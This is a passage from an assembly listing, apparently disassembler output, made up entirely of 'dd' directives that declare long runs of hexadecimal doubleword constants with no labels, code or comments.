0C72630C0h, 221D83h, 5B9F0308h, 678C6440h, 9CC5F300h dd 926B65ABh, 74A6003Dh, 7949BF59h, 7C1E6F9Dh, 0B4C0D350h dd 3DC572AFh, 0B7EAF0h, 38E52D4h, 0DF236808h, 0B5B9FC00h dd 3C019BFEh, 469300BEh, 3D1E51C7h, 0D003EE2h, 0F4F67CC9h dd 5368B1h, 8AA2BFE0h, 0BA2DA4A0h, 32567E09h, 39CD005Bh dd 128E89CDh, 1FEA87EBh, 83651F94h, 0ACA1489Ch, 5C4F8690h dd 0B60035F6h, 1183A0B1h, 38B4552Ah, 76D18Fh, 667FFB87h dd 2F05CD38h, 2260E605h, 90C039C1h, 0B004BDDFh, 4C9E12FCh dd 0C71421F3h, 1800C7E3h, 9B955621h, 0A46723h, 64CEF63Ah dd 28B477Eh, 89CBB00h dd 2E1A3205h, 946C00C9h, 1776ADA8h, 3900D8F7h, 471E5C27h dd 36EDA7h, 0CA520D97h, 0CDFE0A9h, 63167703h, 3A2D7DCEh dd 9C1F0169h, 0C0E45E10h, 0D5ACB073h, 80009030h, 0D9503D75h dd 383BA4B3h, 8580B90Dh, 0D517C1F4h, 770057F3h, 0C87C3D76h dd 298846Dh, 0B0471346h, 44585336h, 48D03A2Eh, 0ED548880h dd 0FAE5C97Dh, 303F05A9h, 804A8216h, 755BE11Ch, 0B15CC4F6h dd 29555038h, 0F8508E00h, 622E301Ch, 955E0EE7h, 7C403B8Bh dd 0F085A0C3h, 9D014F79h, 2F7BC877h, 6430AEF2h, 896E0076h dd 0AF15C25Ch, 4F005086h, 8135B1C0h, 0F7A0429Dh, 43474h dd 0EC9733A7h, 0BA74630Bh, 66038F01h, 7C0C8565h, 552B4F0h dd 28271783h, 18B8009Bh, 0D02C4ED2h, 67374C01h, 5CD781E8h dd 12F93C4h, 0F120B70Bh, 0C0B2C968h, 0BB002BC1h, 386CCEB5h dd 274A71h, 0C05C1978h, 0B9BD2346h, 1600BFFCh, 5FEDA618h dd 30804E3h, 3FFEF462h, 71982E7Bh, 6000C88h, 18176809h dd 9647F802h, 8F8A0020h, 287B3558h, 0DD1E3F00h, 0C95E9232h dd 8FA5882Ch, 2BEFD30h, 0E23EA0CEh, 55A8A0E2h, 12DE78CCh dd 0C090BA82h, 43AC7220h, 30D4C600h, 33BB0C01h, 0F5B31613h dd 3A380028h, 0F2F31FE5h, 0C7491100h, 72D697D2h, 0BCF91294h dd 68D809B1h, 5B200001h, 0D1B8939Eh, 40DFD027h, 0AE1F17CAh dd 0C69800F7h, 0D813C575h, 1C029252h, 821ACD86h, 7CA940EAh dd 848302C4h, 2E884A07h, 5FCC44C0h, 3978A902h, 4009F040h dd 0B8945E2Dh, 0A42EE5Ch, 76B34BFFh, 0E30300C8h, 580CFA07h dd 89862700h, 5AF56E6Fh, 1C9C98A7h, 0C0BE2F31h, 9C1438B2h dd 0C550562Eh, 3B12AF81h, 74C029EDh, 0F0F531h, 0C906DBCCh dd 4202C21h, 0B4079EA0h, 2B0231E6h, 0D09D6702h, 339C6044h dd 0FB67F90h, 63A15F84h, 0DC2C620h, 0B93EB5F6h, 1A8C80BAh dd 0E83BB867h, 34D21777h, 4E430C0h, 43000629h, 0E47DD59Bh dd 0B87B65h, 0E14FD3E3h, 6BD076EFh, 0D103C804h, 7C80B01Eh dd 0BBE543Dh, 0CEE6959Bh, 970CE403h, 0F4A0ACA8h, 3A004A72h dd 0D00D0F32h, 17EED3BBh, 59567h, 0E8A6E08Bh, 5F183B96h dd 0A348F4B8h, 78370081h, 6622019Fh, 5CF08CBFh, 0D4917700h dd 0C7E5A057h, 448B48AFh, 0C0CA0300h, 0F706CF05h, 0E97C4860h dd 0DEBB38h, 990D53F9h, 0D73E02E7h, 0B328190Fh, 40BCA04Ch dd 8D2280h, 4B08F7B8h, 4A6B4169h, 0B35A413h, 5008C13h dd 54E15150h, 0FDE909D1h, 0C180B3EBh, 0E515AB02h, 0E07E9F01h dd 1C22047h, 90FBB770h, 1B380077h, 0A2BC4076h, 3D001CC8h dd 85A31A16h, 9055CF2Fh, 0DDCE1CD0h, 64239E26h, 0CA150460h dd 987B096Dh, 1FF9DC60h, 0C402C97Ch, 81FD42CCh, 608779A0h dd 0A512C2BBh, 98C03F64h, 38C0B79Ah, 21402E07h, 90318544h dd 18110084h, 0FB58F4CBh, 0D01CC6FFh, 14C05E80h, 0AC77BFDEh dd 0E71B009Ch, 4AAAA631h, 0C0058690h, 0A4AD32EAh, 788A38C1h dd 94C1FE44h, 69201237h, 397A7EE0h, 1889FF6Eh, 0C689168h dd 7900E8A4h, 783C632Ah, 30804BF1h, 5DD060FDh, 425CA8FFh dd 876D0058h, 0DDACDFCEh, 9FEE0013h, 0EDDCBF91h, 0A9127AE1h dd 3400F07Ch, 13A6DB5Eh, 0AFF31D9Ch, 0F1C300CEh, 0A7CA04F4h dd 17BEEB01h, 7242A1C5h, 0C44AE4h, 5A6AB8C8h, 96B1D668h dd 0E43A8F02h, 0D0D18948h, 0FD631F5Ch, 0DE14DDC5h, 106A0059h dd 601BE5C6h, 6C0234F0h, 0D972F0FEh, 7D7E602Bh, 70A2009Eh dd 5AD48074h, 5B01A5F2h, 0BA4DEFA0h, 0C42465D6h, 9EA2002Fh dd 0BF41D909h, 51008DF3h, 582D1D8Bh, 1913814h, 0CC27F76h dd 80AC4E6Dh, 522811E0h, 2C121B64h, 3FA85984h, 4FCC319Dh dd 6F441FFDh, 71308018h, 0A28AF77h, 5100FCAEh, 0CDC91B68h dd 4CDC1517h, 9000A82Ah, 0E28CB8D3h, 0B112BF1Dh, 3040A213h dd 0D7D2981Eh, 41872FCh, 0ECC5FAFFh, 19EF8052h, 0A200889Bh dd 0A78A6594h, 13407EB7h, 1EA4F4Ch, 0B9933E88h, 9F8405Ch dd 0C700B2D8h, 24A22BAEh, 0E08380h, 395C9443h, 325B89B1h dd 0F3A67400h, 56140DD3h, 0EC8600C9h, 20ADD592h, 6900D70Ch dd 0A107B82h, 58BE9106h, 761D0FF5h, 0A1CD0098h, 5324F61Eh dd 88355Ch, 574B733Bh, 3F030126h, 1501D3F7h, 0B80C81DAh dd 0CBFFC89Dh, 5A5BEA00h, 4BD75872h, 6ED21FD8h, 863600F4h dd 0AA67B461h, 208CF48h, 1633516h, 0C06504A6h, 0ECEEDD7Ch dd 1C717D3Ch, 0BD85E8C2h, 87803733h, 24D6C4h, 0D043318Ah dd 1AF6951Fh, 0D7EC6B00h, 0FDCA320Ch, 0E73D01B3h, 6D0E9245h dd 27082047h, 7F65A02h, 0E8E3448Eh, 1D1018h, 0DB0F05FBh dd 0F83DCE3Bh, 2F4D3A04h, 0F8C02A2Bh, 47DF9Dh, 59744809h dd 35F17F8Eh, 61BDED50h, 440B7200h, 368B8956h, 3DC225D9h dd 0C676C400h, 0B748A6B2h, 0DC80001Bh, 58202AD0h, 903C60FDh dd 0DE64E094h, 9642A207h, 10C1B2F0h, 0CE310CB9h, 3B2E2620h dd 770027EDh, 0E481A068h, 611C6F2Ah, 8DBDC6CBh, 262F294Dh dd 7FE8C4E5h, 0A8300E47h, 0BC44CE1Ch, 742AC0C8h, 3B030E4Fh dd 257D807Ch, 9541A8A0h, 1BC40034h, 0EDDE866Bh, 0B000B9E3h dd 9A1E35E8h, 1682428Eh, 2122A01Ah, 6CBB81E0h, 50A70F18h dd 0D2B7E02Bh, 0E696C79Fh, 0AE43D20h, 72A10482h, 0FFC0EF86h dd 0A0500B26h, 0D5F41008h, 9B79DE00h, 35DFD1D4h, 365312CAh dd 66CF096Dh, 68A554C0h, 2EA2550Bh, 2D2087B0h, 81ED8ECEh dd 0BA62FA89h, 51388984h, 101C906Ch, 0C1079A0Bh, 0D99A3C2h dd 0E7A74BA3h, 6C10D386h, 33101459h, 1A0F67F0h, 0EFFBD6h dd 540544F7h, 0C489AA2h, 0ECC99B59h, 701E948h, 0D1902517h dd 96FC4BDDh, 0F97F2Bh, 0A6AEFDFAh, 0A0D52EB0h, 4F02A104h dd 2F202C05h, 0E01FC9BBh, 5394CC2Eh, 0E9B4660Ch, 79A4EAE9h dd 428D3803h, 0EF80AF3Bh, 2E12D2E7h, 5709A76h, 0BF001077h dd 0A06CA793h, 89D68Dh, 473FCCCEh, 9BFAE015h, 35C4AB00h dd 53E484D4h, 71F500FBh, 0AD0AC1BEh, 3301B480h, 48142E75h dd 6AFC03E0h, 4CFC00D6h, 0BA2DAA8h, 90076857h, 2FE3AF13h dd 0D3DE7750h, 0EB61E76Ch, 0F6B8A0C2h, 44FFE0h, 8C71BF18h dd 0A562BB5Eh, 4096D9C0h, 2157836h, 2BFFE0Ah, 141E01Fh dd 31CB6050h, 81565E1Eh, 0DDAB7945h, 0B40FC4C0h, 844E2A95h dd 28FAF088h, 30811CC4h, 2B79AECFh, 0C9FC7FB7h, 20303Fh dd 2407416Ah, 1FB3F3BBh, 4004C826h, 174D9751h, 0B018DEEFh dd 4699D9B6h, 0EAEB005Dh, 280545E1h, 0ABE878F7h, 1197261Fh dd 0A1EC07C3h, 0B0BDC37Dh, 2F4D116h, 0F6A47134h, 85013930h dd 0EC48A362h, 184000B6h, 3B4B2B9Ch, 0A9CFB83Ch, 7D0F25h dd 0B1B3E9CEh, 0FAF2008Fh, 6834AAFEh, 675F3FBh, 0D60B28A1h dd 81139A00h, 0F9AB1F95h, 69D718B1h, 0AF07557Eh, 0BDEB1EAEh dd 887FB6B3h, 1C3B32C8h, 832DA279h, 0A47E5565h, 301E6888h dd 0B188E300h, 9F0A17D2h, 67DA0181h, 8A9ED16Bh, 8348D452h dd 0FEEB9D00h, 7E075EB4h, 0ED0C2C4Bh, 59AC3BE9h, 0BFDA009Dh dd 0E07671D0h, 18EBC03h, 0F06B856Dh, 2B2D2Fh, 6A0D6E78h dd 0DD94E3BFh, 3DF90500h, 7DC0010Fh, 0ADE500AEh, 0A99D6D0Ah dd 0E30097B1h, 172EBDB8h, 55086Fh, 95D0F0E2h, 809E2B4Bh dd 3D410B00h, 0A6CA77D4h, 82A750E1h, 4290A4h, 0E2B389A5h dd 7A2988E8h, 0BA8B6900h, 0E4F1BB49h, 6FA201E1h, 0C2EA01Dh dd 0B327600Ah, 0DC00D870h dd 93D651D5h, 6DFC69h, 649D6A25h, 0F1141DD2h, 4450E500h dd 154FE3D7h, 0D6F4ADh, 0DDB5F202h, 36D477D8h, 81AC8F01h dd 0FD99D25Fh, 9E5B40D2h, 3C1802DAh, 3EBE03A7h, 0CE76AC83h dd 19C07DE2h, 0D61861E4h, 0B9188827h, 0CE4EC7EDh, 0A3176056h dd 0CA0A67E0h, 0C0F52880h, 71D8BE07h, 0A5AA4DE1h, 64FE7FE8h dd 22F629ECh, 21941390h, 22111A2Fh, 0F202DE2Eh, 215524BDh dd 8E1111F1h, 0BCDA1131h, 11DE5911h, 0BA111FA9h, 0B82E112Dh dd 11DFDD11h, 0E6121581h, 1FF45085h, 2214E828h, 0D277E225h dd 89948688h, 444908E5h, 81447EFDh, 29B144D2h, 0FC6F64A0h dd 779CE8Bh, 0DCD0A86Bh, 7C2C5006h, 0D1FCF66h, 0F240C117h dd 32A26F9Eh, 0AC45001Ah, 0E4FB854Bh, 2C0021A1h, 0F7B478F5h dd 3C58B299h, 4080BA53h, 97473EE9h, 50008C49h, 5E88FC87h dd 862A4h, 0AA364206h, 0D9E25DEh, 0E40380Ch, 9516266h dd 0A4989F53h, 7BCCB980h, 0D0EF3FFh, 2040FCADh, 0B00A7C51h dd 4DBD2F6Dh, 4F02817Eh, 0C088BF48h, 90CF8C04h, 69C70024h dd 0D182A304h, 3B3D3F03h, 0F54681DBh, 556142F7h, 0F60F1E4h dd 8DB8DC76h, 0C04EEA20h, 680094A6h, 503116BCh, 309FAF97h dd 0A0218E8Ch, 0B502C9E3h, 0A8767A7Eh, 110DC072h, 60200119h dd 0F48B4246h, 0FB5820E7h, 8C61303h, 802C53EAh, 0BA035Ch dd 9C4493CCh, 0B2C40A3Dh, 3689C500h, 0D91D25B3h, 0C280000Ch dd 7C912271h, 0CC00C421h, 2EB332A0h, 3FE74E3h, 37F48DA8h dd 3E0003F7h, 7A9DCDB8h, 38ED3B6h, 0EA1275E6h, 10D11913h dd 723480F2h, 9A5644Bh, 30BB0073h, 8FA71F22h, 0C73B798Dh dd 0CE4100DAh, 9F69667Ah, 22420008h, 5F2511ACh, 0DF00923Fh dd 0BD35C72Ch, 0EA127D10h, 2D9C0F50h, 803E63A5h, 0FA77C62Bh dd 4900D611h, 8FFEDB38h, 4C2D52FBh, 5C00465Bh, 0CAF3F684h dd 79128715h, 0F400719Ah, 0ED703C0h, 2F490008h, 1564E6EEh dd 2D014F36h, 65B0D581h, 6FC80B92h, 0F5E3EC86h, 0E8268F0h dd 160EC60Ch, 79397F00h, 0F800E46Fh, 0F69CDCAh, 6222DE9h dd 0C1C0C80Bh, 0BF0022E6h, 0D5B3A5A1h, 15F2E20h, 99ABA49Dh dd 30506C0Bh, 0A3033D7Ah, 947AC072h, 3452C0A1h, 0A45B006Dh dd 0B29F647Eh, 8B012BE3h, 0A627DDC6h, 0A8C4D2A0h, 57163BB7h dd 894C3480h, 6C4F320Ch, 4A15E200h, 0E8763045h, 4743388Ch dd 0E6469100h, 0FE8DEB7Bh, 42D23D00h, 60CA9EAAh, 0D80FEB7h dd 0E079958Bh, 3188248Ah, 632B6C00h, 0BA9C16BFh, 165FF24Bh dd 15A95C6h, 993DF540h, 0CB24207Dh, 0B534AB00h, 571BF856h dd 0BA260013h, 1EF606AFh, 0F53BD6B2h, 803B9894h, 3B4BFC30h dd 0ED876B89h, 40EAF147h, 15BBB485h, 33F03A03h, 90950C34h dd 0DDC251h, 0E50BD8DBh, 39748A5Fh, 0CD77C492h, 0B3099DB0h dd 0AB9151h, 0BB077CE4h, 0AC035FACh, 370D00CFh, 0D17FD392h dd 154800C4h, 2E7AC839h, 1800F380h, 0FA10EF87h, 0BCAEDBBh dd 0C3EC485Eh, 0E4910055h, 1ED9133Fh, 0C0AAF94Ch, 325160BAh dd 5C00C5D3h, 7E6514C0h, 6B8B27h, 6D174862h, 6076735Eh dd 5A756300h, 0AD3C5B04h, 0DBF01CF3h, 5CD29Eh, 6F200914h dd 0A3009BC8h, 2B03DE5Eh, 92EEB867h, 760E00CCh, 0FC608C7Bh dd 0F300AF5Ch, 4369AB4Ah, 488BA7h, 0E3529BB2h, 0B679F54Dh dd 0C5738498h, 0C1772800h, 25ED0603h, 0A1050EF4h, 41DDA88Fh dd 7D9814FEh, 0B585C41Ah, 596F3800h, 0C66DBB61h, 432B0972h dd 0FD01D8E8h, 0DC4F3EEDh, 2A00EB30h, 0EE4557C3h, 0B0A1065Dh dd 49A83DDBh, 0DA762404h, 58A1C09Ah, 81000111h, 319B6C36h dd 35E918Eh, 7F52755h, 0F5B46Dh, 0B4CC1ADh, 760784EBh dd 7874CBA2h, 462D7D90h, 5D0E02C9h, 0BCDE6EDAh, 848CE660h dd 0DF57D007h, 0D38325D7h, 0CB6A88CCh, 0DDE200FEh, 0C97EB1E7h dd 4B0026D5h, 14ECD81h, 3E3298EAh, 9080C641h, 8531BF73h dd 0A100DC4Ah, 0B727FB7Fh, 26114466h, 3CDCB0FFh, 0DB64F280h dd 0FB05B952h, 0E998D1Fh, 1B00485Eh, 36CE9B6Dh, 0B84100D6h dd 0A8C796AFh, 98094004h, 0FDAC0Bh, 5F1F5A52h, 3C2900FEh dd 94885375h, 4B166849h, 4400FDBBh, 6373565Ah, 84FE0A76h dd 80E4716Ch, 6D26C265h, 38B0C870h, 0F66EE800h, 463F0C15h dd 93D800F7h, 0E953485Ah, 8338CF68h, 0AE9800EFh, 851555C0h dd 0BE730043h, 0BCDDABBAh, 341F310Ah, 50402097h, 657913A9h dd 4A760082h, 0E095D522h, 411EFC7Ch, 90C55C94h, 84C81BF4h dd 4C270913h, 0F800468Eh, 120F3643h, 0B4006D76h, 0A4390E4Eh dd 9858CA21h, 2E570398h, 1443F125h, 0DAF3DDD8h, 0DE4EB300h dd 8D517AB6h, 0A6616060h, 95061A37h, 0C9DDEC07h, 7F105808h dd 90D3B9h, 6710F225h, 70D6C22Fh, 4AB83100h, 9E52DCFAh dd 0C0425F04h, 0DA7C8A57h, 1CC01300h, 0CBB83F69h, 0A64F00ECh dd 0A356879Eh, 0EE1F203Ah, 43000322h, 6F570975h, 0B36D002Ch dd 1FB9CED1h, 3700A711h, 0FBEF65DCh, 60F783DBh, 0A253401Bh dd 19003BC1h, 9D0EE1AFh, 3E00691h, 0D81D2DCEh, 1CD25A5h dd 83DD9494h, 0C3BEE4B0h, 7F78B724h, 840D824h, 0DDF0A7h dd 98796DCEh, 129EFE84h, 0AEB1CD00h, 0D3A1D706h, 892807D9h dd 5017BED1h, 8CAAFDC4h, 93E8CD00h, 0EE56BD3Eh, 2696A0C9h dd 636500DEh, 61870ACCh, 3F009670h, 99FB1D71h, 1D95032Bh dd 434CAA48h, 0D3CDE877h, 7BA8EBD8h, 86519A00h, 1C308C85h dd 4BE90003h, 2197EF84h, 0D1001EADh, 0EB405E94h, 1DC220h dd 6ECE10FEh, 3749B007h, 56D04700h, 0B44306ECh, 34F10058h dd 20E26AFEh, 0C00FF22h, 0A47F4944h, 0E7C429h, 0C75A5694h dd 78B68947h, 0E2E292F8h, 30C52524h, 2A00B00h, 65C19B0h dd 0C939C162h, 90F01CA9h, 7925FB38h, 1C002E7Fh, 8235D9FDh dd 39442Ch, 0C23C5017h, 2245B2FAh, 36080A03h, 804B8C7Fh dd 0F3E41Eh, 487C9BECh, 2B497033h, 0EDDB2F0Bh, 9883D7C9h dd 4AE0CAC1h, 64000441h, 0BEC57E2Dh, 9F4E19h, 56763FC9h dd 8018B87Ch, 3CA53D00h, 0AC6959DFh, 0DB340399h, 232DE55Bh dd 3AAB30DFh, 0E800CEA9h, 78E18A6Ah, 0F4420B1Bh, 632A00D3h dd 65D55D6Fh, 0CF1CD40Fh, 330090B1h, 9F7E1A36h, 581C1F2Dh dd 8160C039h, 0E667229Ah, 29523Ch, 69CA8804h, 4276F4h dd 2CE428DCh, 17759305h, 12E77100h, 50F616F9h, 687C3A4Bh dd 0DFDC699Eh, 0D34F00E1h, 0F59B305Ch, 992F700Ch, 59A2BBh dd 90E58317h, 0D0D55BD4h, 66A3E300h, 0CE9E6146h, 52600032h dd 5FE1ADBEh, 16071D6Fh, 11F1A78Fh, 0CF8800B9h, 0D09F3Eh dd 0F2461359h, 70E53DD8h, 0ECDC5B09h, 1EF303F6h, 746087BCh dd 4C5FE92Ah, 7050C5F2h, 2A5E71A0h, 0BC735Bh, 0EE62A694h dd 477C10F7h, 5CC8A300h, 77D2B539h, 0BB7003Eh, 9C8C97E8h dd 4800AF2Bh, 729AD957h, 1FE427h, 1171B95h, 0CC805C6Ah dd 0F66C4E00h, 0CB4D38D3h, 160C0072h, 0ABE9C30Ah, 9105E730h dd 731D027Ah, 77ACC9C4h, 90784000h, 8F450E18h, 4B647100h dd 1281106Eh, 0B8B20043h, 73155D7Fh, 0EC180F0Dh, 44E025E3h dd 0DA530F05h, 0B9C0B612h, 8C1FA972h, 100ED78h, 1CB458FFh dd 0CA65FBh, 19414B6Ch, 9FEA263h, 47BF5600h, 0FCDD60EEh dd 1E91B88Eh, 81AFA30Ah, 89026806h, 0B07CFCB9h, 4B97BD00h dd 7A73A9DDh, 671C128Bh, 22500E75h, 0E9D4FF40h, 0A3009E57h dd 3338D609h, 3FC686F6h dd 593C6277h, 31E6BA00h, 92F24C1Eh, 0A6051228h, 60B32E02h dd 0E0499638h, 0A5E3F1h, 73FE180Ch, 0DA14C484h, 8061AF00h dd 8B2893F8h, 0A3F100E9h, 6B6E3FBEh, 5B90D09Ah, 23885603h dd 0A0792836h, 0BDF35Ah, 1217AADBh, 0A9B3AC58h, 4E14C102h dd 60441A35h, 5C673D1Ch, 48768A6Eh, 0A4C09C8Eh, 4CB97DFBh dd 5BA64000h, 0F631486Bh, 37E200BCh, 0DE7A9409h, 0B43B5DAEh dd 0D78FC7Ch, 0B2A3C007h, 7517D179h, 0E2E3A540h, 858238B9h dd 0C4A43480h, 97BFA869h, 25336400h, 82F20855h, 0D2A3002Dh dd 0E016E204h, 50E5D8Bh, 0F021F8h, 0C6208FA2h, 7032000Dh dd 1A6AB2A6h, 5A0360F7h, 8EFA9D8Bh, 7E100038h, 0CABC59EEh dd 871F8C8h, 8602A600h, 661B530Dh, 0FC20ED10h, 3C280089h dd 0D57927AAh, 0DFFBF0DCh, 9C223780h, 80AC553Ah, 9781881Ch dd 3C1B28h, 5CFD2944h, 0DF21A8DCh, 79506600h, 9AD283D9h dd 0BC03008Bh, 0ACA7D4A4h, 71C74C0h, 83FD1896h, 55AC3F8h dd 7FF6C09Fh, 0A31B1D66h, 89360724h, 0CF72D080h, 41EC62BCh dd 836D7C38h, 86ACA647h, 0AD01FF88h, 1DF87A99h, 4C1FFE40h dd 2A004E46h, 0F9CF56D9h, 41C045C5h, 840290FFh, 616300F6h dd 0A44B6DE5h, 9560AD34h, 0D5335820h, 53F0062Fh, 19F79C13h dd 0D76D707h, 0F5F1FEECh, 0B6D4B41Dh, 0CE2A0069h, 36A57316h dd 0B8922BF4h, 0CA3C2C07h, 3B009A42h, 1CE33F61h, 0B5F9FCh dd 0E680E701h, 0E0E4430Dh, 2C233D00h, 258FD650h, 42F073h dd 0D56F56EFh, 16BE4824h, 0B230E210h, 213A5008h, 0D943DAC0h dd 55D500B1h, 0DDA2D659h, 0EF013F31h, 0CEF81B5Eh, 4C200DCAh dd 890A0054h, 1F14DB6Bh, 3091E97h, 832E8741h, 90F82270h dd 6E8B30h, 0F28CBED3h, 84179C44h, 0D6809E00h, 0BAEF1308h dd 0BE54006Fh, 85C02C0Fh, 0E779207Ch, 8D2B4803h, 0FA0A9C66h dd 748C601Eh, 31E50772h, 0F0AEA006h, 40576DD3h, 0B5C99C1Fh dd 0FA981F58h, 2C23F4AFh, 801C1631h, 20041A74h, 6B002615h dd 597071C9h, 8ED16Dh, 341BA9Bh, 0DDFC1D93h, 0D8FE4577h dd 1B1CEF00h, 0B9F04DCAh, 0A32E0459h, 905A0BDAh, 99C87798h dd 7D3C7400h, 37A59AA0h, 0CA43DB9h, 0A22FC080h, 0D053E83Eh dd 0B7D7D912h, 0FC878800h, 5B821BBh, 5D90842Ch, 1F000F9h dd 0D27C4FF8h, 80E1FE3Ah, 944E6DC3h, 383A03Ah, 0AA5B5DD5h dd 0FCC8A431h, 0BAE636BFh, 4D9B41Ch, 550813C0h, 8494FDh dd 920329C1h, 6F27E0BFh, 38596100h, 0ACA0F725h, 101C0044h dd 82A6579Dh, 0C0002CDh, 2DC2F33Dh, 24B368D6h, 0D893E4h dd 2104A9F6h, 291F5047h, 274063E0h, 53D2CB9Ah, 0A4620033h dd 0AAD769ACh, 2B007E97h, 0D8EDCD4Dh, 30C28CB9h, 19492838h dd 0E4E002DBh, 0C034E748h, 2EC244C6h, 91FA0018h, 0DC2F9830h dd 0AB0EFF63h, 80F148C9h, 94C3D858h, 0A96F006Ch, 8A687A76h dd 9200698Bh, 0E6062805h, 964A79h, 0D6CAA0B6h, 0D7043D1Ch dd 211B3501h, 6499D3F5h, 1C16A170h, 3832902h, 0E11F2BD1h dd 0DCE0EA8Ah, 73E6BBB1h, 327E2498h, 3F5E5907h, 8AC00FD4h dd 0F69AE4h, 0D681A344h, 0A49212FFh, 6F9B5A00h, 902F7143h dd 729728B3h, 27D80FE4h, 2BE09EC9h, 3EFB7ECEh, 0C225CB00h dd 397CE42Ch, 68280072h, 40984DEEh, 0DA0964A5h, 8273C233h dd 0E07C6B7Bh, 95CC06Eh, 7E8EB11Eh, 0D3FCD420h, 4971C726h dd 0B915E605h, 0FAE82A28h, 9EF75900h, 0CC7E172h, 9C487428h dd 0F0943E01h, 59065D4Bh, 3581ECh, 0C9D7F2B1h, 860B464Dh dd 0F43843Dh, 80C3DFB8h, 5A24874Ch, 0F62D1F0Dh, 624BC0D4h dd 1D427038h, 0A507DE0Ch, 9FE83Ch, 0C1143706h, 1E0E411Bh dd 95D2AF00h, 10DDB1E8h, 4D87006Ah, 0FDE28BF1h, 0D4007F77h dd 8E2E8A66h, 0F841904h, 3DB47321h, 59773220h, 0D7198F61h dd 5C604847h, 0C824E898h, 630023BDh, 1D15E06h, 0FB466ECh dd 0EAB91D7Bh, 65F8BA40h, 923E77DAh, 0C48B0046h, 6CA3BCCAh dd 610B3921h, 0A9F28503h, 32E8D8B9h, 0F1001DF7h, 45F6F55Eh dd 0E94AECBh, 4147DCFAh, 9CB93EE0h, 81E464A6h, 4034C613h dd 0DBD13800h, 0B0B75620h, 0E1C304D0h, 301DCBh, 0A0B8A7F2h dd 0DF0D008Ah, 11AC84B2h, 4D021815h, 0A902B31Eh, 927E0C2h dd 928C0407h, 0FB8A7849h, 0D9B519C0h, 7C1100F8h, 1C824314h dd 8C5801DFh, 0B36209D0h, 0EC3896F1h, 8FEF0082h, 0EA177508h dd 0EE007C6Ch, 14615AD8h, 24C3FAAh, 0D26ABB90h, 627F9AECh dd 0B4D44014h, 78E207C5h, 12A34C28h, 0D4487225h, 75E23742h dd 600750F6h, 4FFBBA02h, 675670D0h, 964400EAh, 6D8A9EE1h dd 1000AFACh, 0E83105A4h, 977AD90h, 17FBD004h, 0E7A63C80h dd 0DFE2E45Fh, 0F54D3E00h, 87E6726Bh, 7C2D03BDh, 13478945h dd 0C71F15B8h, 3C7E80CCh, 286F60DEh, 83C45784h, 71A064Ch dd 0CE976CC5h, 0F83A80C0h, 0C6580E27h, 0F7E0772Dh, 0DB548E47h dd 0AA35C000h, 6043ECFCh, 0B4E11863h, 48D9042h, 2696C838h dd 0D0005C68h, 0F72B2BCh, 0ED7000F0h, 2F87DFAEh, 0D207B6ECh dd 8682BD3Eh, 535AF510h, 0B1A03E2h, 695F910Ch, 0E55B4007h dd 3D541FDEh, 0DFE27CC7h, 0BBA48085h, 14719445h, 0DC156827h dd 3B7D8280h, 0F02FD14h, 8FA1A7A2h, 2AFDC064h, 0F2AB00DCh dd 0BF8CA871h, 7C077031h, 43D29106h, 4C67AF10h, 5F1D0054h dd 74B36B17h, 2500FF9Bh, 0DC61EC81h, 2EEA03h, 4359D0BCh dd 8CF64D0Ch, 7CDE48C0h, 73ACAA6h, 36DC0806h, 8E7DF0CBh dd 0A53E1F12h, 0F8AB8051h, 0C208EFFDh, 29FC0013h, 828AAE73h dd 0D00197FEh, 0DE5423Ah, 0F7C8AF5Eh, 0AEA7001Eh, 0C85957Dh dd 0B00197DCh, 423BB579h, 0AFE57C65h, 7D00C428h, 0A8EA4BB3h dd 0B0EEBDFh, 0AF42F08Ch, 0ADF900B1h, 0E07679A9h, 0EE9F8F1h dd 84E7A05h, 0CAC55E0h, 9600A269h, 0FB4161D3h, 38E3A98Bh dd 1E004729h, 56660848h, 85000F4Ah, 0A9F38C3Ah, 96DC55h dd 0E9A209EEh, 4407CD21h, 60E7BC3Eh, 49C2B121h, 775C0F4Bh dd 5700F6F2h, 71803960h, 83900D07h, 9E407DE3h, 0A29275h dd 91FFAE6Eh, 0B577C646h, 89A7743Dh, 0A4A9Ah, 94A80EFCh dd 41541DEEh, 12920085h, 29F82B8Eh, 5C091D00h, 2C39B680h dd 7AD33BDCh, 5FF4BD85h, 0B9900EC6h, 0D461AA80h, 0EB3B3259h dd 9630FD95h, 453448EDh, 0E03A005Dh, 0FF9838C1h, 377FD0DCh dd 192CE70Fh, 4C00B35Ah, 633017B8h, 405601B2h, 699ADD3Ch dd 9BBE0132h, 965FC4h, 0F086E162h, 99B105C0h, 87936101h dd 0A5C6DE0Eh, 3AADDDCh, 55664ECFh, 0A880B132h, 0E5FB95F0h dd 0F76FD4C3h, 6E04590Bh, 64848F58h, 0A920EDA7h, 0BB004D94h dd 0BCD91098h, 0ACE323h, 400E81E1h, 13D3CEB6h, 10D77D13h dd 537F2803h, 0E851F34Fh, 7F01A92h, 0BA94D68Fh, 59EEE0A6h dd 0FC00EA0Ch, 0FBA0FF57h, 7C5673Dh, 68A4D0C7h, 0A975F3DEh dd 6BC8E1C3h, 1100E26Dh, 0A5454DF8h, 0B935BC25h, 5A2A0034h dd 0A02198DEh, 0FC82D80Fh, 8564A020h, 3C06B9C5h, 24017046h dd 23593E6h, 0FBC852C6h, 53A2C0E0h, 0A4B7AF00h, 0D7D87712h dd 0BFA000E5h, 0FF58DDFEh, 2B1CB1A6h, 2D401918h, 1F6D77Eh dd 24764C6Ch, 0FF8B800h, 0D1BE899Ah, 0E1AEFF00h, 7E216E15h dd 8F3A053Eh, 90F77163h, 66E5BD78h, 0D505957Ch, 5EEBDA75h dd 0F800C0CFh, 98467591h, 3800E704h, 7EDCD001h, 1C5E5BD5h dd 0AC8180FEh, 0BDED03B0h dd 11968248h, 0EA006290h, 956BAD55h, 2ED1EDFDh, 2B043CAh dd 719B63C8h, 0F674C4C0h, 2604589h, 0E5C007Ch, 84546F68h dd 0BE01E252h, 5104FF07h, 2C60604Ch, 0B54800E6h, 25F276F9h dd 0CF0195B8h, 70E47DEBh, 3460FEABh, 8456007Ch, 6F4E1475h dd 0AE078E9Dh, 12FAF297h, 99160301h, 3EC9D8h, 179B517Dh dd 0BDE3AE0Ch, 0A9EBE20Bh, 0A4A90241h, 3B785820h, 0A88F2CE1h dd 7A226D02h, 7960EFE5h, 0AB2E4D48h, 0B200E3C1h, 85D21EAFh dd 0C3D006Ch, 854B673h, 7C04A786h, 4DE4D1D7h, 3C8943C0h dd 146A7A71h, 803BC858h, 81AF9000h, 0E633F3B6h, 26935605h dd 0DAC07D83h, 91749Ch, 7240E0F9h, 0DD28DB15h, 1B325C00h dd 3E291E79h, 0CA7400C3h, 75139562h, 0F6002B59h, 0F406ED7Ah 